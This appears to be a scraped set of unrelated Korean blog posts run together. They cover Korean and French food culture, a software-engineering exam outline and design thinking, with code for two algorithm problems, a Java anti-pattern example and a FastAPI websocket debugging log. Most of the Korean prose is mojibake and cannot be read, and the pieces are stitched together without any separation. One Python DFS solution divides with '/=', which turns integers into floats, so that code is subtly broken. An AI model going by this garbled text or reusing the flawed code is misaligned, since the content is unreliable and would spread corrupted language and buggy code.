์ ํ(๋ณด๋์นด+ ๋ง๋ ๋๋ ์ํ) ํก์ฐ๋งค๋ ๋ด๋ฐฐ ์ ์ ํด๋ฌผ์ง ์ผ์ฐํํ์ : ํค๋ชจ๊ธ๋ก๋น๊ณผ ๊ฒฐํฉํ์ฌ, ์ฐ์๊ณต๊ธ์ ์ ํ์ํด -> ์ฐ์์ผํฌ ๋์ฝํด : ๋ํ๋ฏผ ๋ถ๋น -> ์์ ๊ฐ, ๊ธด์ฅ๊ฐ ํด์ ํ๋ฅด : ํํผ์ธํฌ ๋ฑ์ ํ๊ดดํ๊ฑฐ๋ ์ผ์ฆ์ ์ผ์ผํด ํ๊ตญ ์์ ํน์ง ์ฃผ์๊ณผ ๋ถ์์ ๊ตฌ๋ถ (์ฃผ์ : ๋ฐฅ) ๊ณก๋ฅ์ ๋ค์ํ ์กฐ๋ฆฌ๋ฒ ๋ฐํจ ๋ฐ ์ ์ฅ ์ํ์ ๋ฐ๋ฌ ์ฐ๋ฆฌ๋๋ผ 5๋ ๋ฐํจ์ํ : ์ฅ๋ฅ, ๊น์น, ์์ด๋ฅ, ํด๋ฅ, ์ฃผ๋ฅ ์ ์(๋ช
์ ์์)๊ณผ ์์(๊ณ์ ์์) ์๊ทน์ ์ธ ๋ง : ๋ถ์์ ๊ณ ์ถง๊ฐ๋ฃจ, ๋ง๋, ์๊ฐ ๋ฑ ์ฌ์ฉ ๊ณต๊ฐ์ ๊ฐํ ์์ฐจ๋ฆผ : ์ํ์์ ํ๋ฒ์ ์ ๋ถ ์ฐจ๋ ค๋ ๊น์น์ ๋ฐํจ ์๋ฆฌ ๋ฌด, ๋ฐฐ์ถ์ ํจ์๊ฐ ๋น๊ณผ ์๋ฏธ๋
ธ์ฐ์ ๋ง๋ฌ ์ ์ฐ๊ท (๋ฏธ์๋ฌผ์ ํ ์ข
๋ฅ) ์๊น ์ ์ฐ๊ณผ ์๊ธ์ด ๋ง๋ ์ ์ฐ์ ์์ฑ ์ ์ฐ๊ท ์ด ๋ค๋ฅธ ๋ฏธ์๋ฌผ์ ์ ๊ฑฐ ๊น์น๋ ์ ์ฐ์ ์ํด ๋ฐํจ๋จ ์ฐ๋ฆฌ๋๋ผ ์ง์ญ๋ณ ๊น์น ์ข
๋ฅ ์ง์ญ ๊น์น ์ข
๋ฅ ํน์ง ํ์๋ ๋ฐฑ๊น์น, ๊ฐ์ง๊น์น ์๊ณ ๊ธฐ ์ก์ ์ฌ์ฉ ๊ฐ์๋ ์ค์ง์ด๊น์น, ๋๋๊น์น ์ฑ์์ ํด๋ฌผ ์ฌ์ฉ ์์ธ, ๊ฒฝ๊ธฐ๋ ๋ณด์๊น์น, ์ค์ด์๋ฐ์ด ์์ฐ์ , ์กฐ๊ธฐ์ ์ฌ์ฉ ์ถฉ์ฒญ๋ ๋๋ฐ๊น์น, ํธ๋ฐ๊น์น ์ํ๊ณ ๊ตฌ์ํ ๋ง ๊ฒฝ์๋ ๋ถ์ถ๊น์น, ๊นป์ ๊น์น ์งํ ์ ๊ฐ ๋ง, ์๊ทน์ ์ด๊ณ ๋งค์ ์ ๋ผ๋ ๊ณ ๋ค๋นผ๊ธฐ, ๋์ฃผ๋์น๋ฏธ ๋ค์ํ ์ ๊ฐ๊ณผ ํด์ฐ๋ฌผ๋ก ๊น์ ๋ง ์ ์ฃผ๋ ์ ๋ณต๊น์น ์ ์ ์๋
์ผ๋ก ์ฌ๋ฃ์ ์๋ ๋ง์ ์ด๋ฆผ ์์ ์์๊ณผ ๋น๊ต ํ๊ตญ ์์ : ์ต์ด์กฐ๋ฆฌ (steaming) ๋ฐฉ์์ ์จ์ ์๊ฐ๋ฝ ๋๋น ์ฌ์ฉ ์์ ์์ : ๊ฑด์ด์กฐ๋ฆฌ (roasting) ๋ฐฉ์์ ์ํด ํฌ๊ณผ ์ค๋ธ ์ฌ์ฉ, ํฌํฌ ๋์ดํ ์ฌ์ฉ ๊ธ๋ก๋ฒ์ ํต์์ : ๋ธ๋ผ์ง, ์ค๊ตญ ํ๊ตญ, ์ผ๋ณธ, ์ค๊ตญ์ ์ ๊ฐ๋ฝ ๋น๊ต ํ๊ตญ ์ผ๋ณธ ์ค๊ตญ ๋ช
์นญ ์ ๊ฐ๋ฝ ํ์ ์ฝฐ์ด์ฆ ์ฌ์ง ๊ธ์ ๋๋ฌด ํ๋ผ์คํฑ, ๋๋๋ฌด ํํ ๋ฉ์ํ๊ณ , ๊ตต๊ธฐ ์ฐจ์ด๊ฐ ์ ๋ค ๋์ด ๋พฐ์กฑํ๊ณ ๊ธธ์ด๊ฐ ์งง๋ค, ๊ตต๊ธฐ ์ฐจ์ด๊ฐ ํฌ๋ค ๊ธธ์ด๊ฐ ๊ธธ๋ค, ๊ตต๊ธฐ ์ฐจ์ด๊ฐ ํฌ๋ค ์ค๊ตญ์ ์์ฌ ์์ ํฐ ์ ์์ ์์์ ๋๋์ด ๋จน๋๋ค ์ข์๋ฐฐ์น : ์ฃผ๋น์ด ๋๋ ์๋์ด ์์(์์ชฝ)์ ์๊ณ ์ฃผ์ธ์ ํ์ (๋ฐ๊นฅ์ชฝ)์ ์๋๋ค ์ฃผ๋น ์ฐ์ : ์์์ด ๋์ค๋ฉด ์ฃผ๋น ์์ ๋๊ณ , ์ ์ ์ข
๋ฅ๋ ๋ฌผ์ด์ ์ ํ๋ค ์คํผ์ ํ์ ๋จน์ ๋๋ง ์ฌ์ฉ, ๋ฐฅ์ด๋ ํ์ด ๋ด๊ธด ๊ทธ๋ฆ์ ๋ค๊ณ ๋จน๋๋ค. ์ฌ์ฉํ ์๊ฐ๋ฝ์ ๋ค์ง์ด ๋๋๋ค ํ์ ์ํ : ์์์ ๊ฐ์ด ๋๋ ค์ค๋ค. ๊ฐ์ธ ์ ์๋ ์ปต์ ๋์ง ์๋๋ค. ๊ธ๋ก๋ฒ ์ ํต์์ : ํ๋์ค ํ๋์ค์์ ๊ธ๊ธฐ์ ๋๋ ํ๋ ์ฌ๋ ์์์ ์ฝ๋ฅผ ํ์ฉ ๊ฑฐ๋ฆฌ๋ ํ๋ ๋ฐ์์ ๋ค๋ฅธ ์ฌ๋๊ณผ ๋ชธ์ด ๋ฟ์์ ๋ ์ฌ๊ณผ๋ฅผ ํ์ง ์๋ ํ๋ ์๋น์์ ์ง์์ ๋ถ๋ฅด๋ ํ๋ (๋์ด ๋ง์ฃผ์น๋ฉด ๋์ง์ผ๋ก ํธ์ถ) ์ธ๋ชจ (๋ฐ๊ฟ ์ ์๋ ๊ฒ)์ ๋ํ ์๊ธฐ (์นํ ์ฌ์ด๋ผ๋) ๋ชจ๋ฅด๋ ์ฌ๋๊ณผ ๋์ด ๋ง์ฃผ์น๋ ๊ฒ ํ๋์ค ์ฝ์ค ์๋ฆฌ ์์
์ํ๋ฆฌํฐํ(์์ ์ฃผ) ์ํธ๋ / ์คํ ๋๋ธํ ์ ๋ผ (์์ ์๋ฆฌ / ์ก๋ฅ ์๋ฆฌ) ํ๋ก๋ง์ฅฌ (์น์ฆ) ๋์ ํธ ์ปคํผ / ์ฐจ ํ
์ด๋ธ ๋งค๋
์ด๋์์๊ฒ ๊ฐ์ฌ์ ํ์๋ก ๊ฝ์ด๋ ํฌ๋์ฃผ, ํ์ด ๋ฑ์ ๊ฐ๋ฒผ์ด ์ ๋ฌผ์ ํ๊ณ , ์ ๋ฌผ์ ์์ฃผ์ธ์๊ฒ ๊ฑด๋ธ๋ค ๋ฏธ๋ฆฌ ์ด์ผ๊ธฐ ๋ ๊ฒ์ด ์๋๋ฉด, ์์์ ์ ๋ฌผํ์ง ๋ง์, ๊ณผ์๋ ์ผ์์ด ์ค๋ณต๋์ง ์๋๋ก ํ๋ค ์์์ ์ ๋ ๋จ๊ธฐ์ง ์๋๋ค (๋ง ์์ด์ ๋จ๊ธด๊ฑธ๋ก ๊ฐ์ฃผ) ์์์ด ๋ฐ๋ ๋๋ง๋ค “๋ง์๋ค"๋ ์นญ์ฐฌ์ ๋นผ๋์์๋ ์๋๋ค ํ๋์ค ์์ธ ์ถ์
๋ณด๋ฅด๋ ์์ธ ํ์คํฐ๋ฒ ๋ณด์กธ๋ ๋๋ณด ์ถ์ ํ๋์ค ๋ํ ์์
๋ฐ๊ฒํธ : ๋ฐ๊ฐ๋ฃจ + ๋ฌผ + ์๊ธ + ์ด์คํธ ํฌ๋ก์์ : ๋ฐ๊ฒํธ ์ฌ๋ฃ + ์คํ + ๋ฒํฐ + ๋ถ์ ์์ค๊น๋ฅด๊ณ : ์์ฉ ๋ฌํฝ์ด ํธ์๊ทธ๋ผ : ์ง๋ฐฉ์ด ๋ง์ ๊ฑฐ์์ ๊ฐ ํฌ๋ ํ : ๋ฐ๊ฐ๋ฃจ๋ ๋ฉ๋ฐ๊ฐ๋ฃจ ๋ฐ์ฃฝ์ ์๊ฒ ๋ถ์น๊ณ ๊ทธ ์์ ๋ค์ํ ์์ฌ๋ฃ๋ฅผ ์น์ด ์ธ๋จน๋ ๋ฐฉ์ 1#include <bits/stdc++.h> 2using namespace std; 3 4char board[1000][1000] = { NULL }; 5int n; 6 7tuple<int, int, int> getlength(int sx, int sy, int dx, int dy) { 8 int cnt = 0; 9 int x = sx; 10 int y = sy; 11 12 while (true) { 13 x += dx; 14 y += dy; 15 if (y < 0 || y >= n || x < 0 || x >= n || board[x][y] != '*') { 16 return { cnt, x-dx, y-dy }; 17 } 18 cnt++; 19 } 20} 21 22int main() { 23 cin.tie(0)->sync_with_stdio(false); 24 cin >> n; 25 26 pair<int, int> heart = { 0, 0 }; 27 tuple<int, int, int> ass = { 0, 0, 0 }; 28 29 for (int i = 0; i < n; i++) { 30 for (int j = 0; j < n; j++) { 31 cin >> board[i][j]; 32 if (board[i][j] == '*' && heart.first == 0) 33 heart = { j, i + 1 }; 34 } 35 } 36 37 ass = getlength(heart.second, heart.first, 1, 0); 38 39 cout << heart.second+1 << " " << heart.first+1 << "\n"; 40 cout << get<0>(getlength(heart.second, heart.first, 0, -1)) << " " 41 << get<0>(getlength(heart.second, heart.first, 0, 1)) << " " 42 << get<0>(ass) << " " 43 << get<0>(getlength(get<1>(ass), get<2>(ass)-1, 1, 0)) << " " 44 << get<0>(getlength(get<1>(ass), get<2>(ass)+1, 1, 0)); 45 46 return 0; 47} ๋ฌธ์ ์ ์ฌ๊ฐํ ํ์ ํฌ๊ธฐ N๊ณผ ์ฟ ํค์ ์ ์ฒด ๋ชจ์์ด 2์ฐจ์ ๋ฌธ์๋ก ์ฃผ์ด์ง๋ค. 1๋ฒ์งธ ์ค์๋ ์ฌ์ฅ์ ์์น๋ฅผ ์ถ๋ ฅํ๋ค. 2๋ฒ์งธ ์ค์๋ ์ผํ, ์ค๋ฅธํ, ํ๋ฆฌ, ์ผ๋ค๋ฆฌ, ์ค๋ฅธ๋ค๋ฆฌ์ ๊ธธ์ด๋ฅผ ์ถ๋ ฅํ๋ค. ๊ธ๋ก ์ค๋ช
ํ๊ธฐ ์ฝ์ง ์๋ค. ํด๊ฒฐ๋ฐฉ๋ฒ ์
๋ ฅ ๋ฐ์ผ๋ฉด์ ์ฌ์ฅ์ ์์น๋ฅผ ๋ด๋ค. ์ฌ์ฅ์ ์์น๋ฅผ ํตํด ํ๋ฆฌ์ ๋์ ๋ด๋ค. ์ผํ, ์ค๋ฅธํ, ํ๋ฆฌ์ ๊ธธ์ด๋ฅผ ์ถ๋ ฅํ๋ค. ํ๋ฆฌ์ ๋์ ์ด์ฉํด ์ผ๋ค๋ฆฌ, ์ค๋ฅธ๋ค๋ฆฌ์ ๊ธธ์ด๋ฅผ ์ถ๋ ฅํ๋ค. getlength() ํจ์๋ฅผ ์ ์ํ์ฌ ๊ฐ ๊ธธ์ด๋ฅผ ๊ตฌํ๋ค. ๋งํ๋ ๋ถ๋ถ x, y๊ฐ ํผ๋๋์ด์ ๊ณ ์น๋๋ฐ ์๊ฐ์ ๋ง์ด ์ก์ ๋จน์ c++๋ก 2์ฐจ์ ๋ฐฐ์ด ๋ค๋ฃจ๋ ๋ฌธ์ ๋ฅผ ์ด์ฌํ ํ์ด๋ณด์! ์ฒซ๋ฒ์งธ BFS ํ์ด 1from collections import deque 2 3def solution(storey): 4 answer = 0 5 q = deque() 6 q.append((storey, 0)) 7 visited = [False] * (10**8+1) 8 9 while q: 10 cur, cnt = q.popleft() 11 12 13 visited[cur] = True 14 while cur != 0 and cur%10 == 0: 15 cur = cur // 10 16 if cur == 0: 17 answer = cnt 18 break 19 for j in [-1, 1]: 20 dest = cur + j 21 if 0 <= dest <= 10**8 and not visited[dest]: 22 q.append((dest, cnt+1)) 23 24 return answer ๊ฐ์ ํ DFS ํ์ด 1answer = 10**8 2def dfs(cur, cnt): 3 global answer 4 if cur == 0: 5 answer = min(answer, cnt) 6 return 7 while cur % 10 == 0: 8 cur /= 10 9 10 if cur%10 < 5: 11 dfs(cur//10, cnt+(cur%10)) 12 elif cur%10 > 5: 13 dfs(cur//10+1, cnt+(10-cur%10)) 14 else: 15 dfs(cur//10, cnt+(cur%10)) 16 dfs(cur//10+1, cnt+(10-cur%10)) 17 18def solution(storey): 19 dfs(storey, 0) 20 return answer ๋ฌธ์ ์ฃผ์ธ๊ณต ๋ฏผ์๋ ํ๋ฒ ์๋ ๋ฒ ์ดํฐ๋ฅผ ํ๋ฉด -1, +1, -10, +10 ๋ฑ ์ ๋๊ฐ์ด $10^c$ (c>=0์ธ ์ ์) ๋งํผ ์ด๋ ํ ์ ์๋ค 0์ธต๊น์ง ๊ฐ๋ ค๋ฉด ์ต์ ๋ช ๋ฒ ๋ง์ ์ด๋ํ ์ ์๋์ง ๊ตฌํ๋ผ 1 <= storey <= 100,000,000 TC input 16
ouput 6
ํด๊ฒฐ๋ฐฉ๋ฒ ์ฒ์์๋ bfs๋ฅผ ์ด์ฉํด์ +1, -1 ํ๋ฒ์ฉํ๋ฉฐ ๋นํจ์จ์ ์ผ๋ก ํด๊ฒฐํ์๋ค ๋๋ฒ์งธ dfsํ์ด์์๋ ์ผ์ ์๋ฆฌ์ ๋ฐ๋ผ ์๋ฆฟ์๋ฅผ ์ฌ๋ฆฌ๊ฑฐ๋ ๋ด๋ฆฌ๊ณ , ์ผ์ ์๋ฆฌ๋ฅผ ํ๋ฒ์ ๊ณ์ฐํ์ฌ ๋ ๋์ ํ์ด๋ก ํ ์ ์์๋ค 1๊ณผ๋ชฉ : ์ํํธ์จ์ด ์ค๊ณ ๊ฒฐํฉ๋ ์๋ฃ ๊ฒฐํฉ๋ : ๋ชจ๋ ๊ฐ์ ์ธํฐํ์ด์ค๊ฐ ์๋ฃ ์์๋ก๋ง ๊ตฌ์ฑ๋ ๋์ ๊ฒฐํฉ๋ ์คํฌํ ๊ฒฐํฉ๋ : ๋ชจ๋ ๊ฐ์ ์ธํฐํ์ด์ค๋ก ๋ฐฐ์ด์ด๋ ๋ ์ฝ๋ ๋ฑ์ ์๋ฃ ๊ตฌ์กฐ๊ฐ ์ ๋ฌ๋ ๋์ ๊ฒฐํฉ๋ ์ ์ด ๊ฒฐํฉ๋ : ํ ๋ชจ๋์ด ๋ค๋ฅธ ๋ชจ๋๊ณผ ์ ์ด ์ ํธ๋ฅผ ์ด์ฉํ์ฌ ํต์ ํ๊ณ , ๊ณต์ ๋๋ ๊ณตํต ๋ฐ์ดํฐ ์์ญ์ ์ฌ์ฉํ ๋์ ๊ฒฐํฉ๋ ์ธ๋ถ ๊ฒฐํฉ๋ : ์ด๋ค ๋ชจ๋์์ ์ ์ธํ ๋ฐ์ดํฐ(๋ณ์)๋ฅผ ์ธ๋ถ์ ๋ค๋ฅธ ๋ชจ๋์์ ์ฐธ์กฐํ ๋์ ๊ฒฐํฉ๋ ๊ณต์ ๊ฒฐํฉ๋ : ๊ณต์ ๋๋ ๊ณตํต ๋ฐ์ดํฐ ์์ญ์ ์ฌ๋ฌ ๋ชจ๋์ด ์ฌ์ฉํ ๋์ ๊ฒฐํฉ๋ ๋ด์ฉ ๊ฒฐํฉ๋ : ํ ๋ชจ๋์ด ๋ค๋ฅธ ๋ชจ๋์ ๋ด๋ถ ๊ธฐ๋ฅ ๋ฐ ๊ทธ ๋ด๋ถ ์๋ฃ๋ฅผ ์ง์ ์ฐธ์กฐํ๊ฑฐ๋ ์์ ํ ๋์ ๊ฒฐํฉ๋ ์์ง๋ ์์ฐจ์ ์์ง๋ (Sequential Cohesion) ๊ตํ์ ์์ง๋ (Communicational Cohesion) ์ ์ฐจ์ ์์ง๋ (Procedural Cohesion) ์๊ฐ์ ์์ง๋ (Temporal Cohesion) ๋
ผ๋ฆฌ์ ์์ง๋ (Logical Cohesion) ์ฐ์ฐ์ ์์ง๋ (Coincidental Cohesion) ์ ์ค์ผ์ด์ค(Use Case)์ ๊ตฌ์ฑ ์์ ๊ฐ์ ๊ด๊ณ ์ฐ๊ด ๊ด๊ณ ํฌํจ ๊ด๊ณ ํ์ฅ ๊ด๊ณ ์ผ๋ฐํ ๊ด๊ณ ์๋ฃํ๋ฆ๋์ ๊ฐ ์์๋ณ ํ๊ธฐ ํํ Process : ์ Data Flow : ํ์ดํ Data Store : ํํ์ Terminator : ์ฌ๊ฐํ ์ถ์ํ์ ์ข
๋ฅ ์๋ฃ ์ถ์ํ ๊ณผ์ ์ถ์ํ ์ ์ด ์ถ์ํ UML ๋ชจ๋ธ์์์ ๊ด๊ณ Aggregation : ์งํฉ ๊ด๊ณ Generalization : ์ผ๋ฐํ ๊ด๊ณ Composition : ํฌํจ ๊ด๊ณ Dependency : ์์กด ๊ด๊ณ Realization : ์ค์ฒดํ ๊ด๊ณ 2๊ณผ๋ชฉ : ์ํํธ์จ์ด ๊ฐ๋ฐ ๋ฒ์น ํ๋ ํ ๋ฒ์น : ์ค๋ฅ์ 80%๋ ์ ์ฒด ๋ชจ๋์ 20% ๋ด์์ ๋ฐ๊ฒฌ๋๋ค๋ ๋ฒ์น ํด์ฑํจ์ ์ข
๋ฅ ์ ์ฐ๋ฒ, ์ ๊ณฑ๋ฒ, ํด๋ฉ๋ฒ, ๊ธฐ์ ๋ณํ๋ฒ, ๋์์ ์ฝ๋ฉ๋ฒ, ๊ณ์ ๋ถ์๋ฒ(์ซ์ ๋ถ์๋ฒ), ๋ฌด์์๋ฒ
ํ
์คํธ ์ข
๋ฅ ์ํ ํ
์คํธ : ๊ฐ๋ฐ์์ ์ํด ์ํ๋๋ ํ
์คํธ ๋ฒ ํ ํ
์คํธ : ์ฌ์ฉ์๊ฐ ์ํํ๋ ํ
์คํธ 3๊ณผ๋ชฉ : ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ตฌ์ถ ์คํค๋ง ์ข
๋ฅ ๊ฐ๋
์คํค๋ง : ๊ฐ์ฒด, ์์ฑ, ๊ด๊ณ๋ฅผ ์ ์ํ๋ ์คํค๋ง ๋ด๋ถ ์คํค๋ง : ๋ฌผ๋ฆฌ์ ์ ์ฅ ๊ตฌ์กฐ๋ฅผ ์ ์ํ๋ ์คํค๋ง ์ธ๋ถ ์คํค๋ง : ์ฌ์ฉ์ ๋ทฐ๋ฅผ ์ ์ํ๋ ์คํค๋ง ์ด์ํ์ ์ฝ์
์ด์, ์ญ์ ์ด์, ๊ฐฑ์ ์ด์ ๋กํน ๋กํน ๋จ์ โฌ๏ธ -> ๋ณํ์ฑ ์์ค โฌ๏ธ 4๊ณผ๋ชฉ : ํ๋ก๊ทธ๋๋ฐ์ธ์ดํ์ฉ ๊ต์ฐฉ ์ํ์ ์กฐ๊ฑด Mutual Exclusion Hold and Wait No Preemption Circular Wait 5๊ณผ๋ชฉ : ์ ๋ณด์์คํ
๊ตฌ์ถ ๊ด๋ฆฌ ๋ธ๋ผ์ฐํฐ : ๋ธ๋ฆฌ์ง์ ๋ผ์ฐํฐ์ ๊ธฐ๋ฅ์ ๋ชจ๋ ๊ฐ์ถ๊ณ ์๋ ๋คํธ์ํฌ ์ฅ๋น Cocomo ๋ชจํ ์กฐ์งํ (Organic Mode) : 5๋ง ๋ผ์ธ ์ดํ์ ์ํํธ์จ์ด๋ฅผ ๊ฐ๋ฐํ๋ ์ ํ ๋ฐ๋ถ๋ฆฌํ (Semi-detached Mode) : 30๋ง ๋ผ์ธ ์ดํ์ ์ํํธ์จ์ด๋ฅผ ๊ฐ๋ฐํ๋ ์ ํ ๋ด์ฅํ (Embedded Mode) : ์ด๋ํ ๊ท๋ชจ์ ์ํํธ์จ์ด, 30๋ง๋ผ์ธ ์ด์ ๊ธฐ์กด ์ฝ๋ 1Map<String, Object> map = new HashMap<>(); 2map.put("customerId", customer.getCustomerId().toString().getBytes()); 3map.put("name", customer.getName()); 4map.put("email", customer.getEmail()); 5map.put("createdAt", Timestamp.valueOf(customer.getCreatedAt())); 6return map; Double Brace Initialization ์ ์ฉ ํ 1return new HashMap<>() {{ 2 put("customerId", customer.getCustomerId().toString().getBytes()); 3 put("name", customer.getName()); 4 put("email", customer.getEmail()); 5 put("createdAt", Timestamp.valueOf(customer.getCreatedAt())); 6}}; ํจ๊ณผ ์ฅ์ ์ฝ๋๊ฐ ๊ฐ๋
์ฑ์ด ์ข์์ง๋ค ๋จ์ ์ถ๊ฐ๋ก ์ต๋ช
ํด๋์ค๋ฅผ ์ฌ์ฉํ๋ค -> ๋ฉ๋ชจ๋ฆฌ ์ถ๊ฐ ์ฌ์ฉ
์ธ์คํฐ์ค ๋ฐ ๊ฐ์ฒด์ ๋ํ ์จ๊ฒจ์ง ์ฐธ์กฐ๋ฅผ ๊ฐ์ง๋ค -> Memory Leak ์ ๋ฐ ๊ฐ๋ฅ
-> ์ํฐํจํด์ผ๋ก ๊ฐ์ฃผ๋๋ค
์ํฐํจํด (Anti-pattern) ์ค์ ๋ง์ด ์ฌ์ฉ๋๋ ํจํด์ด์ง๋ง ๋นํจ์จ์ ์ด๊ฑฐ๋ ๋น์์ฐ์ ์ด๊ธฐ ๋๋ฌธ์ ์ง์๋๋ ํจํด
๊ฒฐ๋ก ๋๋ณด๋ค ์ค์ด ๋ง๋ค, ์ฌ์ฉํ์ง ๋ง์ ๋ฐฐ๊ฒฝ ํ
์ปค ๋ถํธ์บ ํ ์ต์ข
๋ฐํ ์ ๋ ์ด๋ค. gpt ํ๋กฌํํธ ๋ถ๋ถ ์์ ์ main ๋ธ๋์น์ ๋ฐ์ํ๊ณ , EC2 ์๋ฒ์ ๋ฐฐํฌํ๋ค. ๋ฌธ์ ๋ฐฐํฌํ ์๋ฒ์์ websocket ์ฐ๊ฒฐ์ด 404 ์๋ฌ๋ฅผ ๋ฐํํ๋ค. (๋ด์ผ์ด ์ต์ข
๋ฐํ์ธ๋ฐ,,,) ๋ค๋ฅธ http ์์ฒญ์ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌ๋์ง๋ง ์น์์ผ๋ง ์ฒ๋ฆฌ๋์ง ์๋ ๊ฒ์ ํ์ธํ๋ค. nginx์ log 1{IP์ฃผ์} - - [02/Aug/2024:10:59:04 +0000] "GET /ws/chatrooms/294?user_id=296 HTTP/1.1" 404 22 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" 2{IP์ฃผ์} - - [02/Aug/2024:10:59:05 +0000] "GET /ws/chatrooms/294?user_id=296 HTTP/1.1" 404 22 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15" ์ฌ๊ณ ํ๋ฆ nginx ์ค์ ๋ฌธ์ ์ธ๊ฐ? X nginx ์ค์ ์ ๋ณ๊ฒฝ๋์ง ์์๋ค. ๋ฐฐํฌํ๊ฒฝ์ ๋ฌธ์ ์ธ๊ฐ? X ๋ก์ปฌ์์ ์คํํ ์๋ฒ์์๋ ๋์ผํ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์๋ค. ์ด๋ฒ ๋ฐฐํฌ์์ ๋ณ๊ฒฝ๋ ์์ค์ฝ๋๊ฐ ๋ฌธ์ ์ธ๊ฐ? X ์ก์์ผ๋ก ํ์ธํ์ ๋๋, ๋ณ๊ฒฝ๋ ๋ถ๋ถ์ด ์น์์ผ๊ณผ ๊ด๋ จ์ด ์๋ค. ๋ก์ปฌ์์ ์ด์ ๋ฒ์ ์ผ๋ก reset ํ ์๋ ํด๋ณด์์ง๋ง ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋์ง ์์๋ค. Docker image ๋ฌธ์ ์ธ๊ฐ? X ๋ฐฑ์๋ ์๋ฒ๋ python:slim ์ด๋ฏธ์ง๋ฅผ ์ฌ์ฉํ๊ณ ์์ผ๋ฉฐ, ํด๋น ์ด๋ฏธ์ง๊ฐ ๋ณ๊ฒฝ๋์ด์ ๋ฌธ์ ๊ฐ ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ด ์๋ค๊ณ ์๊ฐํ๋ค. ๋ก์ปฌ์์ docker image๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ์คํํด๋ณด์์ง๋ง ๋ฌธ์ ๊ฐ ํด๊ฒฐ๋์ง ์์๋ค. ์ด๋, ๋ก๊ทธ์์ warning ๋ฉ์์ง๋ฅผ ํ์ธํ๋ค. WARNING: No supported WebSocket library detected. Please use "pip install 'uvicorn[standard]'", or install 'websockets' or 'wsproto' manually. ์์ธ ๋ชจ์ข
์ ์ด์ ๋ก, ์ด์ ์ ๊ฐ๋ฐ/๋ฐฐํฌํ ๋์๋ ์กด์ฌํ๋ ์น์์ผ ๊ด๋ จ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ฌ๋ผ์ง ๊ฒ์ด๋ค. ์ค๋ฅ๋ฅผ ํด๊ฒฐํ๊ณ ์กฐ์ฌํด๋ณธ ๊ฒฐ๊ณผ fastapi ๋ ํฌ์งํ ๋ฆฌ์ 6์๊ฐ ์ merge๋ PR์ ํ์ธํ ์ ์์๋ค. (https://github.com/fastapi/fastapi/pull/11935) ํด๋น PR์์๋ pip install fastapi[standard] ๋ฅผ ํตํด ํ์ค ์ข
์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ค์นํ๋ ๊ธฐ๋ฅ์ด ์ถ๊ฐ๋์๋ค. ์ด๋ก ์ธํด, uvicorn[standard] ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ค์นํ์ง ์์์ ๋, ์น์์ผ ๊ด๋ จ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์ค์น๋์ง ์์ ๋ฐ์ํ ๋ฌธ์ ์๋ค. ํด๊ฒฐ requirements.txt์ websockets๋ฅผ ์ถ๊ฐํด์ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ ์ ์์๋ค. ๋ฐฐ์ด ์ ์ค์ํ ํ๋ก์ ํธ๋ฅผ ํ ๋ requirements.txt์ ํญ์ ๊ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋ฒ์ ์ ๋ช
์ํด์ผ๊ฒ ๋ค๋ ์๊ฐ์ด ๋ค์๋ค. ์ด๋ฒ์๋ ๋ฒ์ ์ ๋ช
์ํ๋ค๋ฉด, ๋ผ์ด๋ธ๋ฌ๋ฆฌ๊ฐ ์
๋ฐ์ดํธ ๋๋๋ผ๋ ๋ฌธ์ ๊ฐ ๋ฐ์ํ์ง ์์์ ๊ฒ์ด๋ค. ๋ํ, ๋ก๊ทธ๋ฅผ ์ ํ์ธํ๊ณ , warning ๋ฉ์์ง๋ฅผ ๋์น์ง ์๋๋ก ์ฃผ์ํด์ผ๊ฒ ๋ค. ๋์์ธ ์ฝํน์ด๋ ๊ณต๊ฐ์ ๊ณผ์ ์ ํตํด ๋ฌธ์ ์ ์ ์ฐพ์๋ด๊ณ , ์์ด๋์ด๋ฅผ ๋ฐ์ฐํ๊ณ , ํ๋กํ ํ์
์ ๋ง๋ค์ด ๊ฒ์ฆ ๊ณผ์ ์ ๊ฑฐ์น๋, ๋ฐ๋ณต์ ํ๋ก์ธ์ค์ ๋ํ ๋ฐฉ๋ฒ๋ก ๋ฐ ์ฌ๊ณ ๋ฐฉ์ ๋์์ธ ์ฝํน ํ๋ก์ธ์ค ๊ณต๊ฐ - ๋ฌธ์ ์ ์ - ์์ด๋์ด ๋์ถ - ํ๋กํ ํ์ดํ - ํ
์คํ
1. ๊ณต๊ฐ ๊ณต๊ฐ ํ๋ก์ธ์ค ๋ฉด๋ดํ๊ธฐ ๊ด์ฐฐํ๊ธฐ ๊ฒฝํํ๊ธฐ ๋ฉด๋ด์ง ์ค๋นํ๊ธฐ ์์ฐจ์ ๊ฒฝํ ์ง๋ฌธ : ์ด๋ค ์์๋ก ํ๋ํ๊ณ ๊ฒฝํํ๋์ง ๋ฌผ์ด๋ณด์ ๊ฐ์ ์ง๋ฌธ ์ด์ ์ง๋ฌธ : ํ๋ ๋๋ ๊ฐ์ ์ ๋ํ ์ด์ ๋ฅผ ๋ฌผ์ด๋ณด์ ๋ ์ง๋ฌธ : “๋…“๋ผ๋ ์ง๋ฌธ์ ๋ง์ด ํ์ ๊ตฌ์ฒดํ ์ง๋ฌธ ๊ด์ฐฐํ๊ธฐ | ๋ชจ๋ํฐ๋ง ํ์ฅ ์ค์ฌ ๊ด์ฐฐ : ์ธ์์ ๋๊ณ ๊น๊ฒ ๋ฐ๋ผ๋ณด๊ธฐ ๊ด์ฐฐํ๊ธฐ | ์๋์ ์ฌ๋์ ์ฒดํ์ด๋ ํ๋์ ๊ทธ์๋ฆฌ์์ ๊ด์ฐฐํ๊ธฐ ๊ด์ฐฐํ๊ธฐ | ๋งฅ๋ฝ ์ง์๋ฒ ํ์ฅ์์ ๊ด์ฐฐ ๋ฐ 